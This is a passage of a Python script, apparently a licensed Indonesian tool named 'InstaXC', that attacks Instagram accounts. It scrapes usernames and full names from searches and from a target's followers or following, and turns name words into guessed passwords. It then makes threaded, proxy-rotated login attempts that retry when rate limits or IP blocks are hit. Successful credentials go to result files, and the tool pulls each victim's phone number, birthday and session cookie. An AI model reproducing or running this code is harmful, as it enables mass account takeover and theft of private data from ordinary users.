droid_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  419.     SIG_KEY_VERSION = '4'
  420.  
  421.     def __init__(self,username,password):
  422.         self.username=username
  423.         self.password=password
  424.         m = hashlib.md5()
  425.         m.update(username.encode('utf-8') + password.encode('utf-8'))
  426.         self.device_id = self.generateDeviceId(m.hexdigest())
  427.         self.uuid = self.generateUUID(True)
  428.         self.s = requests.Session()
  429.  
  430.     def generateDeviceId(self, seed):
  431.         volatile_seed = "12345"
  432.         m = hashlib.md5()
  433.         m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8'))
  434.         return 'android-' + m.hexdigest()[:16]
  435.  
  436.     def generateUUID(self, type):
  437.         generated_uuid = str(uuid.uuid4())
  438.         if (type):
  439.             return generated_uuid
  440.         else:
  441.             return generated_uuid.replace('-', '')
  442.  
  443.     def loginAPI(self):
  444.         token=self.s.get("https://z-p42.www.instagram.com/",headers={"user-agent":User_Agent()}).text
  445.         crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  446.         self.s.headers.update({'Connection': 'close',
  447.             'Accept': '*/*',
  448.             'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  449.             'Cookie2': '$Version=1',
  450.             'Accept-Language': 'en-US',
  451.             'User-Agent': user_agentAPI()})
  452.         self.data = json.dumps({
  453.             'phone_id': self.generateUUID(True),
  454.             '_csrftoken': crf_token,
  455.             'username': self.username,
  456.             'guid': self.uuid,
  457.             'device_id': self.device_id,
  458.             'password': self.password,
  459.             'login_attempt_count': '0'})
  460.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  461.             self.generateUUID(False),
  462.             urllib.request.quote(self.data)
  463.         )
  464.         x=self.s.post("https://z-p42.www.instagram.com/api/v1/accounts/login/", self.payload)
  465.         x_jason=json.loads(x.text)
  466.         x_kukis=x.cookies.get_dict()
  467.         if "logged_in_user" in x.text:
  468.             kuki=";".join([v+"="+x_kukis[v] for v in x_kukis])
  469.             #id=x_jason['logged_in_user']['pk']
  470.             #nm=x_jason['logged_in_user']['full_name']
  471.             #pn=x_jason['logged_in_user']['phone_number']
  472.             return {'status':'success','cookie':kuki,'userame':self.username}
  473.         elif 'challenge_required' in x.text:
  474.             return {'status':'checkpoint'}
  475.         else:
  476.             return {'status':'login_error'}
  477. C = ''
  478.  
  479. ip = requests.get("https://api.ipify.org").text
  480. ng = requests.get("http://ip-api.com/json/").json()["country"]
  481.  
  482. class instagram:
  483.     def __init__(self,external,username,cookie):
  484.         self.ext=external
  485.         self.username=username
  486.         self.cookie=cookie
  487.         self.s=requests.Session()
  488.     def logo(self):
  489.         for i in external:
  490.             try:
  491.                 nama=i.split('|')[0]
  492.                 followers=i.split('|')[1]
  493.                 following=i.split('|')[2]
  494.             except:
  495.                 pass
  496.             banner()
  497.             prints(Panel(f"{H2}{ng}",title=f"{P2}negara",subtitle=f"{P2}0.4",width=80,padding=(0,33),style=f"{color_table}"))
  498.             axz.append(Panel(f"""{P2}nama akun : {H2}{nama}\n{P2}followers : {H2}{followers}\n{P2}following :{H2} {following}""",title=f"{P2}data akun",width=38,style=f"{color_table}"))
  499.             axz.append(Panel(f"""{P2}username   :{H2} {self.username}\n{P2}ip address : {H2}{ip}\n{P2}join tools : {H2}{day}""",title=f"{P2}info",width=39,style=f"{color_table}"))
  500.             console.print(Columns(axz))
  501.             prints(Panel(f" {H2}{waktu()}",title=f"{P2}waktu",width=80,padding=(0,30),style=f"{color_table}"))
  502.             prints(Panel(f"{P2}[{color_rich}1{P2}]. crack dari pencarian nama        {P2}[{color_rich}5{P2}]. lihat akun hasil crack\n{P2}[{color_rich}2{P2}]. crack dari pengikut              {P2}[{color_rich}6{P2}]. bot auto unfollow\n{P2}[{color_rich}3{P2}]. crack dari mengikuti             {P2}[{color_rich}7{P2}]. hapus lisensi ( {H2}premium{P2} )\n{P2}[{color_rich}4{P2}]. crack ulang hasil cp             {P2}[{color_rich}0{P2}]. keluar ( {M2}hapus cookie{P2} )",width=80,padding=(0,4),style=f"{color_table}"))
  503.             prints(Panel(f"{P2}jika ingin mengubah warna tema ketik {color_rich}'ubah' {P2}untuk mengubah warna tema",width=80,padding=(0,3),style=f"{color_table}"))
  504.  
  505.     def hapus_lisensi(self):
  506.         ask = input(f" apakah anda yakin ingin menghapus lisensi? Y/t : ")
  507.         if ask in ["y","Y"]:os.system("rm -rf data/lisensi.txt");prints(Panel(f"{P2}succeed menghapus {color_rich}'lisensi'{P2} terima kasih telah menggunakan script InstaXC",width=80,style=f"{color_table}"));time.sleep(2);exit()
  508.         elif ask in ["t","T"]:self.menu()
  509.         else:self.hapus_lisensi()
  510.  
  511.     def Exit(self):
  512.         x=input(f" apakah anda yakin ingin keluar? Y/t : ")
  513.         if x in ["y","Y"]:os.system("rm -rf data/.kukis.log rm -rf data/.username");prints(Panel(f"{P2}succeed menghapus {color_rich}'cookie' {P2}terima kasih telah menggunakan script InstaXC",width=80,padding=(0,2),style=f"{color_table}"));time.sleep(2);exit()
  514.         elif x in ["t","T"]:self.menu()
  515.         else:self.Exit()
  516.  
  517.     def sixAPI(self,six_id):
  518.         url = "https://z-p42.www.instagram.com/web/search/topsearch/?context=blended&query="+six_id+"&rank_token=0.3953592318270893&count=1"
  519.         x = requests.get(url)
  520.         x_jason = x.json()
  521.         uid = str( x_jason['users'][0].get("user").get("pk") )
  522.         return uid
  523.  
  524.     def unfollowAPI(self,user_id,username_id,cookie):
  525.         uuid=self.generateUUID(True)
  526.         xx=self.s.get("https://z-p42.www.instagram.com/",headers={"user-agent":User_Agent()}).content
  527.         crf_token = re.findall('{"config":{"csrf_token":"(.*)","viewer"',str(xx))[0]
  528.         s.headers.update({'Connection': 'close',
  529.                        'Accept': '*/*',
  530.                        'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
  531.                        'Cookie2': '$Version=1',
  532.                        'Accept-Language': 'en-US',
  533.                        'User-Agent': User_Agent()})
  534.  
  535.         data = json.dumps({'_uuid': uuid,
  536.                            '_uid': username_id,
  537.                            'user_id': user_id,
  538.                            '_csrftoken': crf_token})
  539.  
  540.         self.payload = 'signed_body={}.{}&ig_sig_key_version=4'.format(
  541.             self.generateUUID(False),
  542.             urllib.request.quote(data))
  543.         return s.post('https://z-p42.www.instagram.com/api/v1/friendships/destroy/%s/'%(user_id),self.payload,cookies=cookie).text
  544.  
  545.  
  546.     def searchAPI(self,cookie,nama):
  547.         try:
  548.             x=s.get('https://z-p42.www.instagram.com/web/search/topsearch/?count=100000&context=blended&query=%s&rank_token=0.21663777590422106&include_reel=true'%(nama),cookies=cookie,headers={"user-agent":USN})
  549.             x_jason=json.loads(x.text)
  550.             for i in x_jason['users']:
  551.                 user=i['user']
  552.                 username=user['username']
  553.                 fullname=user['full_name']
  554.                 internal.append(f'{username}|{fullname}')
  555.         except requests.exceptions.ConnectionError:
  556.             prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=80,style=f"{color_table}"));time.sleep(3);exit()
  557.         return internal
  558.  
  559.     def idAPI(self,cookie,id):
  560.         if 'sukses' in lisensiku:
  561.             try:
  562.                 m=s.get("https://z-p42.www.instagram.com/api/v1/users/web_profile_info/?username=%s"%(id),cookies=cookie,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  563.                 m_jason=m.json()["data"]["user"]
  564.                 idx=m_jason["id"]
  565.             except requests.exceptions.ConnectionError:
  566.                 prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=80,style=f"{color_table}"));time.sleep(3);exit()
  567.             except Exception as e:
  568.                 prints(Panel(f'{P2}username yang anda masukan tidak di temukan atau akun private',width=80,padding=(0,7),style=f"{color_table}"));exit()
  569.             return idx
  570.         else:lisensi()
  571.    
  572.    
  573.     def ingfo(self,cookie):
  574.         try:
  575.             link = s.get(f"https://z-p42.www.instagram.com/api/v1/accounts/edit/web_form_data/", headers={"user-agent":user_agentAPI()},cookies={"cookie":cookie}).json()["form_data"]
  576.             nomor = link["phone_number"].replace("-", "").replace(" ", "")
  577.             tggl = link["birthday"]
  578.             year, month, day = tggl.split("-")
  579.             month = bulan_ttl[month]
  580.             tanggal = (f"{day} {month} {year}")
  581.         except:
  582.             nomor = "-"
  583.             tanggal = "-"
  584.         return nomor, tanggal
  585.  
  586.    
  587.     def infoAPI(self,cookie,api,id):
  588.         if 'sukses' in  lisensiku:
  589.             try:
  590.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  591.                 x_jason=json.loads(x.text)
  592.                 for i in x_jason['users']:
  593.                     username = i["username"]
  594.                     nama = i["full_name"]
  595.                     internal.append(f'{username}|{nama}')
  596.                     following.append(username)
  597.                 if 'pengikut' in menudump:
  598.                     maxid=x_jason['next_max_id']
  599.                     for z in range (9999):
  600.                         x=s.get('https://z-p42.www.instagram.com/api/v1/friendships/'+id+'/followers/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  601.                         x_jason=json.loads(x.text)
  602.                         try:
  603.                             for i in x_jason['users']:
  604.                                 username = i["username"]
  605.                                 nama = i["full_name"]
  606.                                 internal.append(f'{username}|{nama}')
  607.                                 following.append(username)
  608.                             try:
  609.                                 maxid=x_jason['next_max_id']
  610.                             except:
  611.                                 break
  612.                         except:
  613.                             if 'challenge' in x.text:
  614.                                 break
  615.                             else:
  616.                                 continue
  617.                 else:pass
  618.             except requests.exceptions.ConnectionError:
  619.                 prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=80,style=f"{color_table}"));time.sleep(3);exit()
  620.             except Exception as e:
  621.                 prints(Panel(f'{P2}username yang anda masukan tidak di temukan atau akun private',width=80,padding=(0,7),style=f"{color_table}"));exit()
  622.             return internal
  623.         else:lisensi()
  624.        
  625.     def ifoAPI(self,cookie,api,id):
  626.         if 'sukses' in  lisensiku:
  627.             try:
  628.                 x=s.get(api%(id),cookies=cookie,headers={"user-agent":USN})
  629.                 x_jason=json.loads(x.text)
  630.                 for i in x_jason['users']:
  631.                     username = i["username"]
  632.                     nama = i["full_name"]
  633.                     internal.append(f'{username}|{nama}')
  634.                     following.append(username)
  635.                 if 'mengikuti' in menudump:
  636.                     maxid=x_jason['next_max_id']
  637.                     for z in range (9999):
  638.                         x=s.get('https://z-p42.www.instagram.com/api/v1/friendships/'+id+'/following/?count=100&max_id='+maxid,cookies=cookie,headers={"user-agent":USN})
  639.                         x_jason=json.loads(x.text)
  640.                         try:
  641.                             for i in x_jason['users']:
  642.                                 username = i["username"]
  643.                                 nama = i["full_name"]
  644.                                 internal.append(f'{username}|{nama}')
  645.                                 following.append(username)
  646.                             try:
  647.                                 maxid=x_jason['next_max_id']
  648.                             except:
  649.                                 break
  650.                         except:
  651.                             if 'challenge' in x.text:
  652.                                 break
  653.                             else:
  654.                                 continue
  655.                 else:pass
  656.             except requests.exceptions.ConnectionError:
  657.                 prints(Panel(f'{P2}koneksi internet anda bermasalah silahkan cek dan coba lagi masuk ke tools',width=80,style=f"{color_table}"));time.sleep(3);exit()
  658.             except Exception as e:
  659.                 prints(Panel(f'{P2}username yang anda masukan tidak di temukan atau akun private',width=80,padding=(0,7),style=f"{color_table}"));exit()
  660.             return internal
  661.         else:lisensi()     
  662.    
  663.     def useragent(self):
  664.         self.satu = random.randrange(73, 99)
  665.         self.dua = random.randrange(4200, 4900)
  666.         self.tiga = random.randrange(40, 150)
  667.         useragent = f'''Mozilla/5.0 (Linux; Android 9; Lenovo TB-8505F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{self.satu}.0.{self.dua}.{self.tiga} Mobile Safari/537.36'''
  668.         return useragent
  669.  
  670.     def passwordAPI(self,xnx):
  671.         prints(Panel(f"{P2}total username terkumpul : {color_rich}{len(internal)}",width=80,padding=(0,20),style=f"{color_table}"))
  672.         prints(Panel(f"{P2}[{color_rich}1{P2}]. name,name123,name1234\n{P2}[{color_rich}2{P2}]. name,name123,name1234,name12345\n{P2}[{color_rich}3{P2}]. name,name123,name1234,name12345,name123456\n{P2}[{color_rich}4{P2}]. password manual",width=80,padding=(0,14),style=f"{color_table}"))
  673.         c=input(f' input 1 sampai 4 : ')
  674.         if c=='1':
  675.             self.generateAPI(xnx,c)
  676.         elif c=='2':
  677.             self.generateAPI(xnx,c)
  678.         elif c=='3':
  679.             self.generateAPI(xnx,c)
  680.         elif c=='4':
  681.             prints(Panel(f"{P2}masukan password manual minimal password 6 karakter jangan sampe kurang\ncontoh password : sayang,sayang123,indonesia,rahasia,xyaa123",width=80,style=f"{color_table}"))
  682.             zx=input(f' masukan password : ')
  683.             self.generateAPI(xnx,c,zx)
  684.         else:
  685.             self.passwordAPI(xnx)
  686.  
  687.     def generateAPI(self,user,o,zx=''):
  688.         global prog,des
  689.         xxkontol.append(Panel(f"""   {H2}OK {P2}: {P2}result/{day}.txt""",width=38,style=f"{color_table}"))
  690.         xxkontol.append(Panel(f"""   {K2}CP {P2}: {P2}result/{day}.txt""",width=39,style=f"{color_table}"))
  691.         console.print(Columns(xxkontol))
  692.         prints(Panel(f"{P2}crack di mulai tekan {color_rich}'Ctrl+Z'{P2} di keyboard anda jika ingin berhenti\n\n        {P2}hidupkan mode pesawat 5 detik jika terdeteksi spam ip",width=80,padding=(0,4),style=f"{color_table}"))
  693.         prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  694.         des = prog.add_task('',total=len(internal))
  695.         with prog:
  696.             with ThreadPoolExecutor(max_workers=15) as shinkai:
  697.                 for i in user:
  698.                     try:
  699.                         username=i.split("|")[0]
  700.                         password=i.split("|")[1].lower()
  701.                         for w in password.split(" "):
  702.                             if len(w)<3:
  703.                                 continue
  704.                             else:
  705.                                 w=w.lower()
  706.                                 if o=="1":
  707.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  708.                                         sandi=[w,w+'123',w+'1234']
  709.                                     else:
  710.                                         sandi=[w,w+'123',w+'1234']
  711.                                 elif o=="2":
  712.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  713.                                         sandi=[w,w+'123',w+'1234',w+'12345']
  714.                                     else:
  715.                                         sandi=[w,w+'123',w+'1234',w+'12345', password.lower()]
  716.                                 elif o=="3":
  717.                                     if len(w)==3 or len(w)==4 or len(w)==5:
  718.                                         sandi=[w,w+'123',w+'1234',w+'321',w+'4321',w+'12345',w+'123456',password.lower()]
  719.                                     else:
  720.                                         sandi=[w,w+'123',w+'1234',w+'321',w+'4321',w+'12345',w+'123456',password.lower()]
  721.                                 elif o=="4":
  722.                                     if len(zx) > 3:
  723.                                         sandi = zx.replace(" ", "").split(",")
  724.                                     else:
  725.                                         break
  726.                                 shinkai.submit(self.crackAPI,username,sandi)
  727.                     except:pass
  728.         prints(Panel(f" {P2}crack {color_rich}{len(internal)} {P2}username selesai Hasil Ok : {H2}{len(success)}{P2} Hasil Cp : {K2}{len(checkpoint)}{P2} ",width=80,padding=(0,8),style=f"{color_table}"));time.sleep(4);exit()
  729.  
  730.     def APIinfo(self,user):
  731.         try:
  732.             x=s.get("https://z-p42.www.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),headers={"user-agent":user_agentAPI(),"x-ig-app-id":'936619743392459'})
  733.             x_jason=x.json()["data"]["user"]
  734.             nama=x_jason["full_name"]
  735.             pengikut=x_jason["edge_followed_by"]["count"]
  736.             mengikut=x_jason["edge_follow"]["count"]
  737.             postingan=x_jason["edge_owner_to_timeline_media"]["count"]
  738.         except:
  739.             pass
  740.  
  741.         return nama,pengikut,mengikut,postingan
  742.  
  743.     def crackAPI(self,user,pas):
  744.         global loop,success,checkpoint
  745.         ses=requests.Session()
  746.         ua = random.choice(oppo)
  747.         prog.update(des,description=f"{H2}stabil{P2} {loop}/{len(internal)} OK-:{H2}{len(success)}{P2} CP-:{K2}{len(checkpoint)}{P2}")
  748.         prog.advance(des)
  749.         try:
  750.             for pw in pas:
  751.                 xyaa_code=random.randint(1000000000, 99999999999)
  752.                 ts = calendar.timegm(current_GMT)
  753.                 proxy = {'http': 'socks5://'+random.choice(prox_xyaa)}
  754.                 p = ses.get('https://z-p42.www.instagram.com/accounts/login/')
  755.                 ses.headers.update({
  756.                     'Host':'z-p42.www.instagram.com',
  757.                     'X-IG-App-ID':'1217981644879628',
  758.                     'X-IG-WWW-Claim':'0',
  759.                     'X-Instagram-AJAX':'e776ba0cb975',
  760.                     'Content-Type':'application/x-www-form-urlencoded',
  761.                     'Accept':'*/*',
  762.                     'X-Requested-With':'XMLHttpRequest',
  763.                     'X-ASBD-ID':'198387',
  764.                     'User-Agent':ua,
  765.                     'X-CSRFToken':p.cookies['csrftoken'],
  766.                     'Origin':'https://z-p42.www.instagram.com',
  767.                     'Sec-Fetch-Site':'same-origin',
  768.                     'Sec-Fetch-Mode':'cors',
  769.                     'Sec-Fetch-Dest':'empty',
  770.                     'Referer':'https://z-p42.www.instagram.com/accounts/onetap/',
  771.                     'Accept-Encoding':'gzip, deflate, br',
  772.                     'Accept-Language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})        
  773.                 data = {
  774.            "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pw}",
  775.             "username": user,
  776.             "queryParams": "{}",
  777.             "optIntoOneTap": 'false',
  778.             "stopDeletionNonce": "",
  779.             "trustedDeviceRecords": "{}"}
  780.                 respon=ses.post("https://z-p42.www.instagram.com/accounts/login/ajax/", data=data, allow_redirects=True)
  781.                 xyaa_code=json.loads(respon.text)
  782.                 if 'userId' in str(xyaa_code):
  783.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  784.                     cookie = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  785.                     nomor, tanggal = self.ingfo(cookie)
  786.                     tree = Tree("")
  787.                     tree.add(f"{H2}nama akun : {H2}{nama}").add(f"{H2}{user}|{pw}")
  788.                     tree.add(f"{H2}followers : {H2}{pengikut}")
  789.                     tree.add(f"{H2}following : {H2}{mengikut}")
  790.                     tree.add(f"{H2}nomor hp  : {H2}{nomor}")
  791.                     tree.add(f"{H2}postingan : {H2}{postingan}")
  792.                     tree.add(f"{H2}tanggal lahir : {H2}{tanggal}").add(f"{N2}{cookie}{P2}")
  793.                     prints(tree)
  794.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  795.                     success.append(user)
  796.                     break
  797.  
  798.                 elif 'checkpoint_url' in str(xyaa_code):
  799.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  800.                     tree = Tree("")
  801.                     tree.add(f"{H2}nama akun : {H2}{nama}")
  802.                     tree.add(f"{H2}username  : {H2}{user}")
  803.                     tree.add(f"{H2}password  : {H2}{pw}")
  804.                     tree.add(f"{H2}followers : {H2}{pengikut}")
  805.                     tree.add(f"{H2}following : {H2}{mengikut}")
  806.                     tree.add(f"{H2}postingan : {H2}{postingan}\n")
  807.                     prints(tree)
  808.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  809.                     checkpoint.append(user)
  810.                     break
  811.                 elif "Harap tunggu beberapa menit sebelum mencoba lagi." in str(respon.text):
  812.                     prog.update(des,description=f"{M2}spam ip{P2} {loop}/{len(internal)} OK-:{H2}{len(success)} {P2}CP-:{K2}{len(checkpoint)}{P2}")
  813.                     prog.advance(des)
  814.                     time.sleep(15)
  815.                     self.crackAPI(user,pas)
  816.                 elif "ip_block" in str(respon.text):
  817.                     prog.update(des,description=f"{M2}spam ip{P2} {loop}/{len(internal)} OK-:{H2}{len(success)} {P2}CP-:{K2}{len(checkpoint)}{P2}")
  818.                     prog.advance(des)
  819.                     time.sleep(30)
  820.                     self.crackAPI(user,pas)
  821.                 else:
  822.                     continue
  823.             loop+=1
  824.         except requests.ConnectionError:
  825.             time.sleep(10)
  826.  
  827.     def checkAPI(self,usr,pwd):
  828.         try:
  829.             ts = calendar.timegm(current_GMT)
  830.             ses=requests.Session()
  831.             proxy = {'http': 'socks5://'+random.choice(prox_xyaa)}
  832.             ua_xyaaxc = user_agentAPI()
  833.             token=s.get("https://z-p42.www.instagram.com/accounts/login",headers={"user-agent":self.ua_igeh()}).content
  834.             crf_token=re.findall(r"\"csrf_token\"\:\"(.*?)\"", str(token))[0]
  835.             s.headers.update({
  836.                 'authority': 'www.instagram.com',
  837.                 'connection': 'keep-alive',
  838.                 'sec-ch-ua': '";Not A Brand";v="99", "Chromium";v="94"',
  839.                 'x-ig-app-id': '1217981644879628',
  840.                 'x-ig-www-claim': 'hmac.AR3jlStdcYspw88nLWvVnCDdiZ-KPvru_TasoSJlzGz-iXV2',
  841.                  'x-requested-with': 'XMLHttpRequest',
  842.                 'sec-ch-ua-mobile': '?1',
  843.                 'x-instagram-ajax': 'c6412f1b1b7b',
  844.                 'content-type': 'application/x-www-form-urlencoded',
  845.                 'accept': '*/*',
  846.                 'x-csrftoken': crf_token,
  847.                 'user-agent': ua_xyaaxc,
  848.                 'x-asbd-id': '198387',
  849.                 'sec-ch-ua-platform': '"Android"',
  850.                 'origin': 'https://www.instagram.com',
  851.                 'sec-fetch-site': 'same-origin',
  852.                 'sec-fetch-mode': 'cors',
  853.                 'sec-fetch-dest': 'empty',
  854.                 'referer': 'https://www.instagram.com/',
  855.                 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8'
  856.             })
  857.  
  858.             param={
  859.                 "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{ts}:{pwd}",
  860.                     "username": usr,
  861.                     "optIntoOneTap": False,
  862.                     "queryParams": "{}",
  863.                     "stopDeletionNonce": "",
  864.                     "trustedDeviceRecords": "{}"
  865.             }
  866.             x=s.post("https://z-p42.www.instagram.com/accounts/login/ajax/",data=param,proxies=proxy)
  867.             x_jason=json.loads(x.text)
  868.             if "userId" in x.text:
  869.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  870.                 print(f"""
  871.    ├ {CY} LIVE{N}
  872.     ├ {CY}{usr}|{pwd}
  873.     ├ Followers {CY}{pengikut}
  874.     ├ Following {CY}{mengikut}
  875.     ├ Posts
  876.      ∟ jumlah Post {CY}{postingan}""")
  877.             elif 'checkpoint_url' in x.text:
  878.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  879.                 print(f"""
  880.    ├ {H2}MANGKANYA GANTENG KONTOL{H2}
  881.     ├ {H2}{usr}|{pwd}
  882.     ├ Followers {H2}{pengikut}
  883.     ├ Following {H2}{mengikut}
  884.     ├ Posts
  885.      ∟ jumlah Post {H2}{postingan}""")
  886.             elif 'Please wait a few minutes' in str(x.text):
  887.                 sys.stdout.write(f"\r {U}!{C}] {U}Please wait a few minutes second{C}");sys.stdout.flush();sleep(10)
  888.                 self.checkAPI(usr,pwd)
  889.         except:
  890.             self.checkAPI(usr,pwd)
  891.  
  892.     def menu(self):
  893.         self.logo()
  894.         c=input(f' input 1 sampai 7 : ')
  895.         if c=='':
  896.             prints(Panel(f"{P2}pilih yang bener broo jangan kosong !",width=80,padding=(0,19),style=f"{color_table}"));time.sleep(3);exit()
  897.         elif c in ('1','01'):
  898.             prints(Panel(f"{P2}maaf tools ini sedang dalam proses maintenance silahkan pilih menu lainnya",width=80,style=f"{color_table}"));sleep(2);exit()
  899.             mas='[!] Masukan jumlah target'
  900.             mas1=nel(mas,style='')
  901.             sol().print(mas1)
  902.             m=int(input(f'\n{N}[•] Jumlah : {C}'));print('')
  903.             mas='[•] Masukan nama random untuk di searching'
  904.             mas1=nel(mas,style='')
  905.             sol().print(mas1)
  906.             for i in range(m):
  907.                 i+1
  908.                 nama=input(f'{N} [•] Masukan nama ({H}{len(internal)}{C}): ')
  909.                 name=self.searchAPI(self.cookie,nama)
  910.             self.passwordAPI(name)
  911.  
  912.         elif c in ('2','02'):
  913.             mas=input(f' apakah anda ingin crack masal Y/t : ')
  914.             if mas in ['y','Y']:
  915.                 masal(self)
  916.             elif mas in ['t','T']:
  917.                 massal(self)
  918.             elif mas in ['']:
  919.                 print(" Y/t bro jangan kosong")
  920.  
  921.  
  922.         elif c in ('3','03'):
  923.             mas=input(f' apakah anda ingin crack masal Y/t : ')
  924.             if mas in ['y','Y']:
  925.                 mengi(self)
  926.             elif mas in ['t','T']:
  927.                 meng(self)
  928.             elif mas in ['']:
  929.                 print(" Y/t bro jangan kosong")
  930.  
  931.  
  932.         elif c in ('4','04'):
  933.             print('')
  934.             for i in os.listdir('result'):
  935.                 prints(Panel(f"hasil crack {i}",width=80,style=f"{color_table}"))
  936.             c=input(f' masukan nama file : ')
  937.             g=open("result/%s"%(c)).read().splitlines()
  938.             print(f' total results : {H}{len(g)}{C}')
  939.             prints(Panel(f"{P2}proses mengecek status akun. silahkan tunggu sampai proses cek selesai",width=80,style=f"{color_table}"))
  940.             for s in g:
  941.                 usr=s.split("|")[0]
  942.                 pwd=s.split("|")[1]
  943.                 self.checkAPI(usr,pwd)
  944.             prints(Panel(f"{P2}proses cek akun selesai, silahkan jalankan ulang scriptnya python run.py",width=80,padding=(0,3),style=f"{color_table}"))
  945.  
  946.         elif c in ('5','05'):
  947.             print('')
  948.             for i in os.listdir('result'):
  949.                 prints(Panel(f"{P2}hasil crack : {color_rich}{i}",width=80,style=f"{color_table}"))
  950.             c=input(f' masukan nama file : ')
  951.             g=open("result/%s"%(c)).read().splitlines()
  952.             xx=c.split("-")
  953.             xc=xx[0]
  954.             print(f' total results : {H}{len(g)}{C}')
  955.             for s in g:
  956.                 usr=s.split("|")[0]
  957.                 pwd=s.split("|")[1]
  958.                 fol=s.split("|")[2]
  959.                 ful=s.split("|")[3]
  960.                 if xc=="checkpoint":
  961.                     print(f"""
  962. {M}[{M}+{C}] {M}𝐂𝐄𝐊𝐏𝐎𝐈N𝐓{C}:
  963. {M}|{C}
  964. {M}[+]{C} Username: {O}{usr}{C}
  965. {M}[+]{C} Password: {O}{pwd}{C}
  966. {M}[+]{C} Followers: {O}{fol}{C}
  967. {M}[+]{C} Following: {O}{ful}{C}
  968.                     """);sleep(0.05)
  969.                 else:
  970.                     print(f"""
  971. {H}[+]{C}{H}  𝐋𝐈𝐕𝐄 {C}
  972. {H}[+]{C}{H} Username : {H}{usr}{C}
  973. {H}[+]{C}{H} Password : {H}{pwd}{C}
  974. {H}[+]{C}{H} Pengikut : {H}{fol}{C}
  975. {H}[+]{C}{H} Mengikuti : {H}{ful}{C}
  976.                     """);sleep(0.05)
  977.         elif c in ('6','06'):
  978.             global following
  979.             prints(Panel(f"{P2}maaf tools ini sedang dalam proses maintenance silahkan pilih menu lainnya",width=80,style=f"{color_table}"));sleep(2);exit()
  980.             six=0
  981.             print(f'\n [{U}!{C}] Bot Unfollow-All Dijalankan\n')
  982.             x=open('data/.kukis.log','r').read()
  983.             x_id=re.findall('sessionid=(\d+)',x)[0]
  984.             back=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',x_id)
  985.             for i in following:
  986.                 six+=1
  987.                 sleep(float( random.uniform(nyMnD*10,nyMxD*10) / 10 ))
